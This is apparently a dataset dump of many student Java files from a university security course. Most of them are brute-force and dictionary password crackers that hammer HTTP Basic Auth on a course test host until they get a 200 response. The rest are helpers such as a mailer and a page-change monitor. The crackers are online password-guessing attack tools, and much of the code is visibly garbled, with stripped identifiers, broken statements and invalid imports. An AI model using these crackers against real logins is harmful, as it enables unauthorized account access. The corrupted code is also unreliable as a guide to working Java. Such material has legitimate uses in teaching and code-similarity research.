&& + (i < sharedData.getPwdCount()); i ++ ) + { + String pwd = sharedData.getPasswordAt( i ); + + conn = currURL.openConnection(); + + if (conn instanceof HttpURLConnection) + { + HttpURLConnection hconn = (HttpURLConnection) conn; + hconn.setFollowRedirects(false); + String cad = "" "" + based64Encoder( "":"" + pwd ); + hconn.setRequestProperty( ""Authorization"", cad ); + + hconn.connect(); + int response = hconn.getResponseCode(); + sharedData.setNumOfConnections(); + + if( response == 200 ) + { + totalTime = System.currentTimeMillis() - + sharedData.getStartTime(); + int numOfConnections = sharedData.getNumOfConnections(); + + System.out.println( ""Password is "" + pwd ); + System.out.println( ""Total Time(seconds)= "" + + (double)totalTime/1000 ); + System.out.println( ""Total Number Of Connections: "" + + numOfConnections ); + System.exit(0); + } + else + { + hconn.disconnect(); + } + } + } + } + catch( MalformedURLException mue ) + { + String msg = ""Unable parse URL: "" + url; + System.err.println( msg ); + } + catch( IOException ioe ) + { + System.err.println( ""I/O Error : "" + ioe ); + } + } + + private String based64Encoder( String pwd ) + { + + String str = pwd; + byte[] buf = str.getBytes(); + String encodedStr = new misc.BASE64Encoder().encode(buf); + + + return encodedStr; + } +} " +140.java,"import java.io.*; +import java.util.*; +import java.net.*; +import java.misc.BASE64Encoder; + +public class BruteForce +{ + public BruteForce() + { + } + + public static void main(String[] args) + { + try + { + if (args.length != 2 ) + { + System.out.println(""Usage: java BruteForce ""); + System.exit(1); + } + + timeStart = System.currentTimeMillis(); + + String strPass = applyBruteForce (args[0], args[1]); + + timeEnd = System.currentTimeMillis(); + + System.out.println(""\n\n\n\n\tPass Cracked is: "" + strPass); + System.out.println(""\tTime taken is (sec):"" + String.valueOf((timeEnd - timeStart)/1000)); + + } + catch(Exception e) + { + e.printStackTrace(); + } + } + + static String applyBruteForce (String URL, String UserName) + { + + + + String strPass = """"; + + char ch1, ch2, ch3; + + System.out.print(""\n\n\n Applying BruteForce Attack: ""); + + for (ch1 = 'A' ; ch1 <= 'z' ; ch1 ++) + { + if ( ch1 > 'Z' && ch1 < 'a' ) + ch1 = 'a'; + + for (ch2 = 'A' ; ch2 <= 'z' ; ch2 ++) + { + if ( ch2 > 'Z' && ch2 < 'a' ) + ch2 = 'a'; + + for (ch3 = 'A' ; ch3 <= 'z' ; ch3 ++) + { + if ( ch3 > 'Z' && ch3 < 'a' ) + ch3 = 'a'; + + strPass = String.valueOf(ch1) + String.valueOf(ch2) + String.valueOf(ch3); + + + System.out.print(""\b\b\b"" + strPass ); + + + boolean boolResult = applyPass ( URL, UserName, strPass ); + + if (boolResult) + { + return strPass; + } + + } + } + } + + return ""Could not find match""; + } + + private static boolean applyPass (String strURL, String strUserName, String strPass ) + { + BASE64Encoder myEncoder = new BASE64Encoder (); + + try + { + String str = strUserName + "":"" + strPass; + + String strEncode = myEncoder.encode(str.getBytes()); + + URL url = new URL (strURL); + + URLConnection urlConn = url.openConnection(); + + urlConn.setRequestProperty (""Authorization"", "" "" + strEncode); + + urlConn.connect(); + + String strReply = urlConn.getHeaderField(0); + + if ( strReply.trim().equalsIgnoreCase(""HTTP/1.1 200 OK"") ) + { + return true; + } + } + catch (Exception e) + { + e.printStackTrace (); + } + + return false; + } +} +" +220.java,"import java.io.*; + +public class UnixMailing +{ + private String buffer; + private String email; + + public static void main (String [] args) + { + UnixMailing obj = new UnixMailing(""@hotmail.""); + obj.println(""hehehe""); + obj.sent(); + } + + public UnixMailing(String email) + { + this.email = email; + buffer = """"; + } + + public boolean sent() + { + String command = ""mail ""+email; + + if (buffer.length() <= 0) + return false; + + try + { + Process proc = (Runtime.getRuntime()).exec(command); + DataOutputStream out = new DataOutputStream(proc.getOutputStream()); + out.writeBytes(buffer); + out.flush(); + out.print(); + proc.waitFor(); + buffer = """"; + return true; + } + catch(Exception e) + { + e.printStackTrace(); + buffer = """"; + return false; + } + } + public void print(String data) + { + buffer += data; + } + + public void println(String data) + { + buffer += data+""\n""; + } + + public void cancel() + { + buffer = """"; + } + +} +" +234.java,"import java.io.*; +import java.*; +import java.net.*; + +public class Dictionary + +{ + public static void main (String[] args) throws Exception + { + System.out.println(""Congratulations Your password is ""+ checkPassword() ); + } + + + + private static String checkPassword() throws Exception + { + FileReader fRead; + BufferedReader buf1, buf2; + String password="" ""; + + try + { + fRead= new FileReader(""/usr/share/lib/dict/words""); + buf1 = new BufferedReader(fRead); + buf2 = new BufferedReader(new FileReader(""/usr/share/lib/dict/words"")); + + password= fileRead(buf1, buf2); + System.out.println(""Password is loop2 CheckPassword:""+password); + return password; + } + catch (FileNotFoundException e) + { + System.err.println(""File not found:""+e.getMessage()); + System.exit(1); + } + catch (IOException ioe) + { + System.err.println(""IOE error: ""+ioe.getMessage()); + System.exit(1); + } + + return password; + } + + + + + private static String fileRead(BufferedReader buf1, BufferedReader buf2) throws Exception + { + String password = "" ""; + String password1="" ""; + String passwd = null; + + int countLength1=0; + int countLength2=0; + int countLength3=0; + + + + while ((password = buf1.readLine()) != null) + { + + if (password.length()<= 3) + { + if (password.length()==1) + { + countLength1++; + } + else if (password.length()==2) + { + countLength2++; + } + else + { + countLength3++; + } + } + } + + System.out.println(countLength1+"" ""+countLength2+"" ""+countLength3); + + + + String[] wordSize1=new String[countLength1]; + String[] wordSize2=new String[countLength2]; + String[] wordSize3=new String[countLength3]; + + int a=0; int b=0; int c=0; + + while ((password1 = buf2.readLine()) != null) + { + if (password1.length()<= 3) + { + if (password1.length()==1) + { + wordSize1[a++]=password1; + } + else if (password1.length()==2) + { + wordSize2[b++]=password1; + } + else + { + wordSize3[c++]=password1; + } + } + } + + passwd = getPasswordRuns4(wordSize3); + + if (passwd==null) + { + passwd = getPasswordRuns3(wordSize1,wordSize2); + if (passwd==null) + { + passwd = getPasswordRuns2(wordSize1,wordSize2); + if(passwd==null) + { + passwd = getPasswordRuns1(wordSize1); + } + } + } + return passwd; + } + + private static String getPasswordRuns2(String[] wordSize1,String[] wordSize2) throws Exception + { + URL url = new URL(""http://sec-crack.cs.rmit.edu./SEC/2/""); + HttpURLConnection sec; + String password="" ""; + String passwd="" ""; + + + for (int i=0; i< wordSize1.length; i++) + { + for (int j=0; j< wordSize2.length; j++) + { + String userPasswd= "":""+wordSize1[i]+wordSize2[j]; + System.out.println(userPasswd); + + sec = (HttpURLConnection)url.openConnection(); + sec.setRequestProperty(""Authorization"", "" "" + encode(userPasswd)); + + if (sec.getHeaderField(0).equals(""HTTP/1.1 200 OK"")) + { + passwd=password; + return passwd; + } + sec.disconnect(); + } + } + return null; + } + + private static String getPasswordRuns3(String[] wordSize1,String[] wordSize2) throws Exception + { + URL url = new URL(""http://sec-crack.cs.rmit.edu./SEC/2/""); + HttpURLConnection sec; + String password="" ""; + String passwd=null; + + for (int i=0; i< wordSize2.length; i++) + { + for (int j=0; j< wordSize1.length; j++) + { + password= wordSize2[i]+wordSize1[j]; + String userPasswd= "":""+password; + sec = (HttpURLConnection)url.openConnection(); + sec.setRequestProperty(""Authorization"", "" "" + encode(userPasswd)); + if (sec.getHeaderField(0).equals(""HTTP/1.1 200 OK"")) + { + passwd=password; + return passwd; + } + sec.disconnect(); + } + } + return null; + } + + private static String getPasswordRuns4(String[] wordSize3) throws Exception + { + int attempt=0; + URL url = new URL(""http://sec-crack.cs.rmit.edu./SEC/2/""); + HttpURLConnection sec; + String password="" ""; + String passwd=null; + + for (int i=0; i< wordSize3.length; i++) + { + attempt++; + password= wordSize3[i]; + String userPasswd= "":""+password; + System.out.println(attempt+"" ""+userPasswd); + + sec = (HttpURLConnection)url.openConnection(); + sec.setRequestProperty(""Authorization"", "" "" + encode(userPasswd)); + if (sec.getHeaderField(0).equals(""HTTP/1.1 200 OK"")) + { + passwd=password; + return passwd; + } + sec.disconnect(); + } + return ""Password not found""; + } + + + private static String getPasswordRuns1(String[] wordSize1) throws Exception + { + URL url = new URL(""http://sec-crack.cs.rmit.edu./SEC/2/""); + HttpURLConnection sec; + String password="" ""; + String passwd=null; + + for (int i=0; i< wordSize1.length; i++) + { + for (int j=0; j< wordSize1.length; j++) + { + for (int k=0; k< wordSize1.length; k++) + { + password= wordSize1[i]+wordSize1[j]+wordSize1[k]; + String userPasswd= "":""+password; + System.out.println(userPasswd); + + sec = (HttpURLConnection)url.openConnection(); + sec.setRequestProperty(""Authorization"", "" "" + encode(userPasswd)); + + if (sec.getHeaderField(0).equals(""HTTP/1.1 200 OK"")) + { + passwd=password; + System.out.println(""Password is loop1 readfile:""+password); + return passwd; + } + sec.disconnect(); + } + } + } + return passwd; + } + + private static String encode(String userPasswd) throws Exception + { + String ; + String encodedUserPasswd="" ""; + String addr= ""~//base64_encode.php ""+userPasswd ; + Process p = Runtime.getRuntime().exec(new String[]{""/usr/local//bash"",""-c"", addr}); + BufferedReader resp = new BufferedReader(new InputStreamReader(p.getInputStream())); + + while ( (bf = resp.readLine()) != null ) + { + encodedUserPasswd=bf.get; + } + return encodedUserPasswd; + } + + + + + +} +" +048.java,"import java.io.*; +import java.net.*; +import java.*; +import java.Runtime.*; +import java.Object.*; +import java.util.*; +import java.util.StringTokenizer; +import java.net.HttpURLConnection; + + +public class BruteForce +{ + String uname = """"; + String pword = ""null""; + Vector v = new Vector(); + int runTime; + + public void doConnect(String connect, int num) + { + + String cad = connect; + + try + { + URL secureSite = new URL(); + URLConnection connection = secureSite.openConnection(); + + if (uname != null || pword != null) + { + + for(int i=num; i> 18; + out [ outIndex++ ] = alphabet [ bits6 ]; + bits6 = ( bits24 & 0x0003F000 ) >> 12; + out [ outIndex++ ] = alphabet [ bits6 ]; + bits6 = ( bits24 & 0x00000FC0 ) >> 6; + out [ outIndex++ ] = alphabet [ bits6 ]; + bits6 = ( bits24 & 0x0000003F ); + out [ outIndex++ ] = alphabet [ bits6 ]; + } + + if ( octetString.length - i == 2 ) + { + + bits24 = ( octetString [ i ] & 0xFF ) << 16; + bits24 |=( octetString [ i + 1 ] & 0xFF ) << 8; + bits6=( bits24 & 0x00FC0000 )>> 18; + out [ outIndex++ ] = alphabet [ bits6 ]; + bits6 = ( bits24 & 0x0003F000 ) >> 12; + out [ outIndex++ ] = alphabet [ bits6 ]; + bits6 = ( bits24 & 0x00000FC0 ) >> 6; + out [ outIndex++ ] = alphabet [ bits6 ]; + + + out [ outIndex++ ] = '='; + } + else if ( octetString.length - i == 1 ) + { + + bits24 = ( octetString [ i ] & 0xFF ) << 16; + bits6=( bits24 & 0x00FC0000 )>> 18; + out [ outIndex++ ] = alphabet [ bits6 ]; + bits6 = ( bits24 & 0x0003F000 ) >> 12; + out [ outIndex++ ] = alphabet [ bits6 ]; + + + out [ outIndex++ ] = '='; + out [ outIndex++ ] = '='; + } + + return new String ( out ); + } + } + + +" +165.java," +package java.httputils; + +import java.io.BufferedInputStream; +import java.io.IOException; +import java.net.HttpURLConnection; +import java.net.MalformedURLException; +import java.net.URL; +import java.net.URLConnection; +import java.sql.Timestamp; + + +public class HttpRequestClient +{ + protected URL serverURL; + protected java.net.HttpURLConnection httpConnection; + protected Timestamp start; + protected Timestamp end; + protected StringBuffer content = new StringBuffer(); + protected int millis; + protected int code; + + public HttpRequestClient(String url) + throws MalformedURLException, IOException + { + setServerURL(new URL(url)); + + setStart(new Timestamp(System.currentTimeMillis())); + + + setHttpConnection( + (HttpURLConnection)this.getServerURL().openConnection()); + doRequest(); + } + + + public HttpRequestClient() + { + super(); + } + + + public int doRequest() + throws IOException + { + String retVal = null; + int url = HttpURLConnection.HTTP_UNAUTHORIZED; + BufferedInputStream stream = null; + try + { + stream s = new BufferedInputStream(getHttpConnection().getInputStream()); + s= getHttpConnection().getResponseCode(); + if (s == HttpURLConnection.HTTP_UNAUTHORIZED) + { + return s; + } + + int c = -1; + while ((c = stream.get()) != -1) + { + getContent().append((char)c); + } + + setEnd(new Timestamp(System.currentTimeMillis())); + } + catch (IOException e) + { + this.setCode(getHttpConnection().getResponseCode()); + throw e; + } + finally + { + if (stream != null) stream.close(); + } + + + return ; + } + + public static void main(String[] args) + { + HttpRequestClient client = null; + try + { + client = new HttpRequestClient(args[0]); + } + catch (MalformedURLException e) + { + e.printStackTrace(); + } + catch (IOException e) + { + e.printStackTrace(); + } + finally + { + if (client != null) + { + System.out.println( + ""Request processing time (milliseconds): "" + + (client.getEnd().getTime() - client.getStart().getTime())); + + System.out.println( + ""Request content: \n"" + client.getContent()); + + } + } + } + + public HttpURLConnection getHttpConnection() + { + return httpConnection; + } + + + public URL getServerURL() + { + return serverURL; + } + + + public void setHttpConnection(java.net.HttpURLConnection connection) + { + httpConnection = connection; + } + + + public void setServerURL(URL url) + { + serverURL = url; + } + + + public StringBuffer getContent() + { + return content; + } + + + public Timestamp getEnd() + { + return end; + } + + + public Timestamp getStart() + { + return ; + } + + + public void setContent(StringBuffer buffer) + { + content = buffer; + } + + + public void setEnd(Timestamp timestamp) + { + end = timestamp; + } + + + public void setStart(Timestamp timestamp) + { + start = timestamp; + } + + + public getMillis() + { + return getEnd().getTime() - getStart().getTime(); + } + + public int getCode() + { + return code; + } + + + public void setCode(int i) + { + code = i; + } + +} +" +205.java," +import java.util.*; +import java.io.*; + +public class DicReader +{ + private Vector v; + + public DicReader( String fileName) + { + boolean flag = true; + String line; + v = new Vector( 50); + try + { + BufferedReader in = new BufferedReader( new FileReader( fileName)); + while(( line = in.readLine()) != null) + { + flag = true; + if( line.length() > 0 && line.length() < 4 ) + { + for( int i = 0; i < line.length(); i++) + { + if( Character.isLetter( line.charAt( i)) == false) + { + flag = false; + } + } + if( flag == true) + { + + v.add( line); + } + } + } + in.print(); + } + catch( IOException e) + { + System.out.println( "" not open the file!""); + System.exit( 0); + } + } + public Vector getVictor() + { + return v; + } + public static void main ( String [] args) + { + DicReader fr = new DicReader( ""/usr/share/lib/dict/words""); + System.out.println( "" far ""+fr.getVictor().size()+"" combinations loaded""); + } +} + + +" +085.java," + + +import java.Thread; +import java.io.*; +import java.net.*; + +public class Dictionary extends Thread { + final static int SUCCESS=1, + FAILED=0, + UNKNOWN=-1; + private static String host, + path, + user; + private Socket target; + private InputStream input; + private OutputStream output; + private byte[] data; + private int threads, + threadno, + response; + public static boolean solved = false; + Dictionary parent; + static LineNumberReader lnr; + + + public Dictionary(String host, String path, String user, int threads, int threadno, Dictionary parent, LineNumberReader lnr) + { + super(); + this.parent = parent; + this.host = host; + this.path = path; + this.user = user; + this.threads = threads; + this.threadno = threadno; + } + + public void run() + { + response = FAILED; + int x = 0; + String word = """"; + starttime = System.currentTimeMillis(); + + try + { + boolean passwordOkay; + while(word != null && !parent.solved) + { + passwordOkay = false; + while(!passwordOkay || word == null) + { + word = lnr.readLine(); + passwordOkay = true; + if(word.length() != 3) passwordOkay = false; + } + + response = tryLogin(word); + x++; + if(response == SUCCESS) + { + System.out.println(""SUCCESS! (after "" + x + "" tries) The password is: ""+ word); + parent.solved = true; + } + if(response == UNKNOWN) System.out.println(""Unexpected response (Password: ""+ word +"")""); + } + } + catch(Exception e) + { + System.err.println(""Error while from dictionary: "" + e.getClass().getName() + "": "" + e.getMessage()); + } + + if(response == SUCCESS) + { + System.out.println(""Used time: "" + ((System.currentTimeMillis() - starttime) / 1000.0) + ""sec.""); + System.out.println(""Thread . "" + threadno + "" was the one!""); + } + } + + public static void main (String[] args) + { + Dictionary parent; + try + { + lnr = new LineNumberReader(new FileReader(""/usr/share/lib/dict/words"")); + } + catch(Exception e) + { + System.err.println(""Error while loading dictionary: "" + e.getClass().getName() + "": "" + e.getMessage()); + } + Dictionary[] attackslaves = new Dictionary[10]; + if(args.length == 3) + { + host = args[0]; + path = args[1]; + user = args[2]; + } + else + { + System.out.println(""Usage: Dictionary ""); + System.out.println("" arguments specified, using standard values.""); + host = ""sec-crack.cs.rmit.edu.""; + path = ""/SEC/2/index.php""; + user = """"; + } + System.out.println(""Host: "" + host + ""\nPath: "" + path + ""\nUser: "" + user); + System.out.println(""Using "" + attackslaves.length + "" happy threads...""); + + parent = new Dictionary(host, path, user, 0, 0, null, lnr); + + for(int i=0; i ""); + System.exit(0); + } + + Runtime.getRuntime().exec(""rm LastWatch.html""); + Runtime.getRuntime().exec(""rm WatchDog.ini""); + + Thread.sleep(1000); + + while (true) + { + WatchDog myWatchDog = new WatchDog(); + myWatchDog.readHTML(args[0], args[1]); + + Runtime.getRuntime().exec(""rm Report.txt""); + Runtime.getRuntime().exec(""rm diffReport.txt""); + Runtime.getRuntime().exec(""rm NewWatch.txt""); + + System.out.println("" check after 2 ... press Ctrl-Z suspend WatchDog...""); + + Thread.sleep(2*60*1000); + + + } + } + catch (Exception e) + { + e.printStackTrace(); + } + } + + void readHTML (String strHTML, String userName) + { + + Properties myProp = loadLastMD5 (); + + try + { + + System.out.println(""Running WatchDog \"""" + strHTML + ""\"" ...... Please Wait....""); + + URL url = new URL (strHTML); + + String strHost = url.getHost().toLowerCase(); + + Runtime r = Runtime.getRuntime(); + + + + + + + + + InputStream in = url.openStream(); + + DataInputStream bf = new DataInputStream (in); + + FileOutputStream fOut = new FileOutputStream (""Watch.html""); + DataOutputStream dOut = new DataOutputStream (fOut); + + Vector vtrImages = new Vector (); + + while ( bf!= null) + { + + String str = bf.readLine(); + + if (str == null) + break; + + + if ( str.toLowerCase().indexOf(""img"") > 0 ) + { + int indexImg = str.toLowerCase().indexOf(""img""); + int indexImgUrl = str.toLowerCase().indexOf(""\"""", indexImg); + int indexImgUrlEnd = str.toLowerCase().indexOf(""\"""", indexImgUrl+1); + + String strImage = str.toLowerCase().substring(indexImgUrl+1, indexImgUrlEnd); + + if (strImage.toLowerCase().indexOf(strHost) > 0) + { + int index = strImage.toLowerCase().indexOf(strHost) + strHost.length(); + strImage = strImage.toLowerCase().substring(index); + } + + if (!vtrImages.contains(strImage.toLowerCase())) + vtrImages.add (strImage.toLowerCase()); + } + + dOut.writeBytes(str+""\n""); + } + + dOut.print(); + fOut.print(); + + + + for (int i=0 ; i < vtrImages.size() ; i ++) + { + + + r.exec(""wget "" + strHost + vtrImages.get(i).toString().trim()); + } + + Thread.sleep(2000); + + String [] command = {""//sh"", ""-c"",""md5sum *.* > NewWatch.txt""}; + + Runtime.getRuntime().exec(command); + + Thread.sleep(1000); + + FileInputStream fIn = new FileInputStream (""NewWatch.txt""); + DataInputStream = new DataInputStream (fIn); + + Properties prop = new Properties (); + + while ( bf != null) + { + + String str = bf.readLine(); + + if (str == null) + break; + + int index = str.indexOf("" ""); + + + if (fileDownloaded (str.substring(index + 1), vtrImages) || str.substring(index + 1).trim().equalsIgnoreCase(""Watch.html"") ) + prop.setProperty(str.substring(index + 1).trim().toLowerCase(), str.substring(0, index).trim().toLowerCase()); + } + + + fIn.close(); + + int isAnyChange = GenerateChangeFile (strHTML, myProp, prop); + + if (isAnyChange > 0) + { + + if (isAnyChange == 2) + { + File f = new File (""LastWatch.html""); + + if (! f.exists()) + { + f.createNewFile(); + Thread.sleep(1000); + } + + String [] diffCommand = {""//sh"", ""-c"",""diff Watch.html LastWatch.html > diffReport.txt""}; + + Runtime.getRuntime().exec(diffCommand); + + Thread.sleep(2000); + + FileInputStream feIn = new FileInputStream (""diffReport.txt""); + DataInputStream deIn = new DataInputStream (feIn); + + FileOutputStream feOut = new FileOutputStream (""Report.txt"", true); + DataOutputStream deOut = new DataOutputStream (feOut); + + deOut.writeBytes(""\n\n\nDifferences in Target :\n\n""); + + while (deIn != null) + { + String str = deIn.readLine(); + + if (str == null) + break; + + deOut.writeBytes(str + ""\n""); + } + + deOut.print(); + feOut.print(); + + deIn.close(); + feIn.close(); + } + + String [] mailCommand = {""//sh"", ""-c"",""less Report.txt | mail "" + userName}; + + Runtime.getRuntime().exec(mailCommand); + + System.out.println(""Mailing difference""); + } + else + System.out.println("" difference detected""); + + + Runtime.getRuntime().exec(""mv Watch.html LastWatch.html""); + + } + catch (Exception e) + { + e.printStackTrace(); + } + + } + + private Properties loadLastMD5 () + { + Properties myProp = new Properties (); + + try + { + myProp.load(new FileInputStream (""WatchDog.ini"")); + } + catch (Exception e) + { + } + + return myProp; + } + + private boolean fileDownloaded (String strFile, Vector vtrImages) + { + for ( int i = 0 ; i < vtrImages.size() ; i ++ ) + { + String strImage = vtrImages.get(i).toString().trim(); + + if ( strImage.toLowerCase().indexOf(strFile.toLowerCase().trim()) > -1 ) + return true; + } + + return false; + } + + private int GenerateChangeFile (String strUrl, Properties myProp, Properties prop) + { + int change = 0; + boolean boolMainChange = false; + + try + { + FileOutputStream myOut = new FileOutputStream (""WatchDog.ini""); + DataOutputStream myIniOut = new DataOutputStream (myOut); + + FileOutputStream fOut = new FileOutputStream (""Report.txt""); + DataOutputStream dOut = new DataOutputStream (fOut); + + dOut.writeBytes(""Report of changes for \"""" + strUrl + ""\"":\n\n\n\n\n""); + + Enumeration e = prop.keys(); + + while (e.hasMoreElements()) + { + String file = e.nextElement().toString().toLowerCase().trim(); + + Runtime.getRuntime().exec(""rm "" + file); + + myIniOut.writeBytes(file.toLowerCase() + ""="" + prop.getProperty(file) + ""\n""); + + if (myProp.containsKey(file)) + { + String OldValue = myProp.getProperty(file); + String newValue = prop.getProperty(file); + + if (OldValue != null && newValue != null) + { + if (!OldValue.trim().equals(newValue.trim())) + { + if (file.toLowerCase().trim().equalsIgnoreCase(""Watch.html"")) + { + dOut.writeBytes(""Traget html has been changed\n""); + boolMainChange = true; + } + else + dOut.writeBytes(""File \"""" + file + ""\"" has been changed\n""); + + change = 1; + } + } + } + else + { + if (file.toLowerCase().trim().equalsIgnoreCase(""Watch.html"")) + { + dOut.writeBytes(""Target html is checked for first time\n""); + boolMainChange = true; + } + else + dOut.writeBytes(""File \"""" + file + ""\"" is checked for first time and is new\n""); + + change = 1; + } + } + + dOut.print(); + fOut.print(); + + myIniOut.close(); + myOut.close(); + } + catch (Exception ex) + { + ex.printStackTrace (); + } + + if (boolMainChange) + return 2; + + return change; + } +}" +029.java," +import java.net.*; +import java.*; +import java.io.*; +import java.util.GregorianCalendar; +public class Dictionary +{ + + + + public void crackAddress(String fileName) throws Exception + { + String line,username="""",passwd,pass; + int flag=0,i; + BufferedReader bf = new BufferedReader(new FileReader(fileName)); + Runtime run = Runtime.getRuntime(); + GregorianCalendar =new GregorianCalendar(); + while((passwd=bf.readLine().trim())!=null) + { + if((i=passwd.indexOf(""\'""))!= -1) + { + passwd =passwd.substring(0,i)+(""\\"")+(passwd.substring(i,passwd.length())); + } + + System.out.println(""Hack password with the word:""+passwd); + String command_line = ""lynx http://sec-crack.cs.rmit.edu./SEC/2/ -auth=""+username+"":""+passwd+"" -dump""; + Process result = run.exec(command_line); + BufferedReader bf = new BufferedReader(new InputStreamReader(result.getInputStream())); + + while((line=bf.readLine())!=null) + { + flag=1; + break; + + } + if(flag==1) + { + System.out.println(""The username is: ""+username+"" The password is: ""+passwd); + break; + } + } + GregorianCalendar end=new GregorianCalendar(); + double time = (double)(end.getTimeInMillis()-System.getTimeInMillis())/1e3; + System.out.println(""The attack use""+time+"" seconds.""); + } + +public static void main(String args[]) throws Exception +{ + Dictionary ds = new Dictionary(); + ds.crackAddress(args[0]); +} +}" +034.java," + +class LoginAttemptResults +{ + + private boolean success = false; + + private int passwordsTried = 0; + + + + public LoginAttemptResults() + { + } + + + public void setSuccess (boolean inSuccess) + { + success = inSuccess; + } + + + public boolean getSuccess() + { + return success; + } + + + public void setPasswordsTried ( int inPasswordsTried) + { + passwordsTried = inPasswordsTried; + } + + + public int getPasswordsTried() + { + return passwordsTried; + } +} +" +148.java," +import java.net.*; +import java.io.*; +public class BruteForce { +private static String password="" ""; + + + public static void main(String[] args) { + String Result=""""; + if (args.length<1) + { + System.out.println(""Error: Correct Format Filename, username e.g<>""); + System.exit(1); + } + BruteForce bruteForce1 = new BruteForce(); + Result=bruteForce1.Password(""http://sec-crack.cs.rmit.edu./SEC/2/"",args[0]); + System.out.println(""The Password of ""+args[0]+""is..""+Result); + + } + + + + private String Password(String urlString,String username) + { + int cnt=0; + + t0 = System.currentTimeMillis(); + for ( char ch = 'A'; ch <= 'z'; ch++ ) + { + if (ch>'Z' && ch<'a') + { + ch='a'; + } + + for ( char ch1 = 'A'; ch1 <= 'z'; ch1++ ) + { + + if (ch1>'Z' && ch1<'a') + { + ch1='a'; + } + + + for ( char ch2 = 'A'; ch2 <= 'z'; ch2++ ) + { + if (ch2>'Z' && ch2<'a') + { + ch2='a'; + } + password=String.valueOf(ch)+String.valueOf(ch1)+String.valueOf(ch2); + System.out.print(""crackin...:""); + System.out.print(""\b\b\b\b\b\b\b\b\b\b\b"" ); + try + { + + + + URL url = new URL (urlString); + String userPassword=username+"":""+password; + + + String encoding = new url.misc.BASE64Encoder().encode (userPassword.getBytes()); + URLConnection conc= url.openConnection(); + conc.setRequestProperty (""Authorization"", "" "" + encoding); + conc.connect(); + cnt++; + if (conc.getHeaderField(0).trim().equalsIgnoreCase(""HTTP/1.1 200 OK"")) + { + t1 = System.currentTimeMillis(); + net=t1-t0; + System.out.println(""The Number of Attempts ""+cnt); + System.out.println(""Total Time Taken in secs""+net/1000); + return password; + } + + } + + catch (Exception e ) + { + e.printStackTrace(); + + } + + + + + } + + + + + + + } + + + } + return ""Password could not found""; + + } + + +}" +096.java," + + + +public class SMTPException extends Exception { + + private String msg; + + public SMTPException(String message) { + msg = message; + } + + + public String getMessage() { + return msg; + } +}" +062.java," + +import java.util.*; +import java.*; +import java.awt.*; +import java.net.*; +import java.io.*; +import java.text.*; + +public class BruteForce { + + + + public static String Base64Encode(String s) { + byte[] bb = s.getBytes(); + byte[] b = bb; + char[] table = { 'A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z', + 'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z', + '0','1','2','3','4','5','6','7','8','9','+','/' }; + if (bb.length % 3!=0) { + int x1 = bb.length; + + b = new byte[(x1/3+1)*3]; + int x2 = b.length; + + for(int i=0;i> 2)]; + c[j+1] = table[(b[i+1] >> 4) | ((b[i] & 3) << 4)]; + c[j+2] = table[(b[i+2] >> 6) | ((b[i+1] & 15) << 2)]; + c[j+3] = table[(b[i+2] & 63)]; + i+=3; + j+=4; + } + + j = c.length-1; + while (c[j]=='A') { + c[j]='='; + j--; + } + + return String.valueOf(c); + } + + + public synchronized void getAccumulatedLocalAttempt() { + attempt = 0; + for (int i=0;i=0); + } + + + + public synchronized void waitUntilAllTerminated() { + while (curconn>0) { + try { + wait(); + } catch (InterruptedException e) {} + } + } + + + + + public synchronized int waitUntilOK2Connect() { + boolean interruptd= false; + int idx = -1; + + + + + while (curconn>=MAXCONN) { + try { + wait(); + } catch (InterruptedException e) { interruptd = true; } + } + + + + if (!interruptd) { + + curconn++; + for (idx=0;idx=0) { + if (idx>=idxLimit[i]) { + int nchar = i + 1; + idx-=idxLimit[i]; + for (int j=0;jALLCOMBI - idxstart) { MAXTHREAD = (int) (ALLCOMBI-idxstart); } + mult = (ALLCOMBI - idxstart) / MAXTHREAD; + + + + for (thcount=0;thcount=0) { + System.out.println(); + System.out.println("" ********************* [ URL SUCCESSFULLY CRACKED !! ] *********************""); + System.out.println(); + System.out.println("" The password is : ""+passw); + System.out.println("" Number of attempts : ""+attempt+"" of ""+ALLCOMBI+"" total combinations""); + System.out.println("" Attempt position : ""+fmt.format((double)attempt/(double)ALLCOMBI*100)+""%""); + System.out.println("" Overal attempt rate : ""+fmt.format(ovAps)+ "" attempts/sec""); + System.out.println("" Cracking time : ""+String.valueOf(((double)end-(double)d)/1000) + "" seconds""); + System.out.println("" Worstcase time estd : ""+fmt.format(1/ovAps*ALLCOMBI)+ "" seconds""); + System.out.println(); + System.out.println("" ***************************************************************************""); + System.out.println(); + } else { + System.out.println(); + System.out.println("" ********************* [ UNABLE CRACK THE URL !!! ] *********************""); + System.out.println(); + System.out.println("" Number of attempts : ""+attempt+"" of ""+ALLCOMBI+"" total combinations""); + System.out.println("" Attempt position : ""+fmt.format((double)attempt/(double)ALLCOMBI*100)+""%""); + System.out.println("" Overal attempt rate : ""+fmt.format(ovAps)+ "" attempts/sec""); + System.out.println("" Cracking time : ""+String.valueOf(((double)end-(double)d)/1000) + "" seconds""); + System.out.println(); + System.out.println("" ***************************************************************************""); + System.out.println(); + } + } + } + + + public static void printSyntax() { + System.out.println(); + System.out.println(""Syntax : BruteForce [mode] [URL] [charset] [] [] [username]""); + System.out.println(); + System.out.println("" mode : (opt) 0 - NAIVE Brute force mode""); + System.out.println("" (trying from the first the last combinations)""); + System.out.println("" 1 - ENHANCED Brute force mode""); + System.out.println("" (dividing cracking jobs multiple threads) (default)""); + System.out.println("" URL : (opt) the URL crack ""); + System.out.println("" (default : http://sec-crack.cs.rmit.edu./SEC/2/index.php)""); + System.out.println("" charset : (optional) the character set used crack.""); + System.out.println("" - (default)""); + System.out.println("" abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ""); + System.out.println("" -alphanum ""); + System.out.println("" abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890""); + System.out.println("" -alphalow ""); + System.out.println("" abcdefghijklmnopqrstuvwxyz""); + System.out.println("" -alphaup ""); + System.out.println("" ABCDEFGHIJKLMNOPQRSTUVWXYZ""); + System.out.println("" -number ""); + System.out.println("" 1234567890""); + System.out.println("" [custom] e.g. aAbB123""); + System.out.println("" , : (optional) range of characters applied in the cracking""); + System.out.println("" where 1 <= <= 10 (default = 1)""); + System.out.println("" <= <= 10 (default = 3)""); + System.out.println("" username : (optional) the username that is used crack""); + System.out.println(); + System.out.println("" NOTE: The optional parameters 'charset','','', and 'username'""); + System.out.println("" have specified altogether none at all.""); + System.out.println("" For example, if [charset] is specified, then [], [], and""); + System.out.println("" [username] have specified as well. If none of them 